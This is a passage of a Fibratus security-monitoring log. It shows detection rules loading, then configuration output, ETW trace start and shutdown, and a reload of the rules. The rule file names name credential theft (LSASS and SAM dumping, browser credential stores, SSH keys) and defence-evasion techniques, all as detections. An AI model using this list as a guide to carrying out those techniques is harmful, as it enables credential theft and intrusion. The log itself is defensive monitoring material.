C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:47:06+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T11:47:06+01:00 level=info msg=bootstrapping with pid 7336. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:47:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false buffer-size=>512 enable-net=>true stack-enrichment=>true max-buffers=>36 enable-threadpool=>false enable-registry=>true enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-thread=>true enable-dns=>false flush-interval=>1s min-buffers=>16 enable-fileio=>true enable-audit-api=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ vhost=>/ exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false timeout=>5s passive=>false] elasticsearch=>[ timeout=>5s flush-period=>1s index-name=>fibratus trace-log=>false enabled=>false healthcheck=>true healthcheck-timeout=>5s sniff=>false template-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s gzip-compression=>false servers=>[http://127.0.0.1:9200]] http=>[ serializer=>json timeout=>5s tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false endpoints=>[]] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-files=>false enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:47:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:47:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:48:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:48:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:48:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:48:23+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:48:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 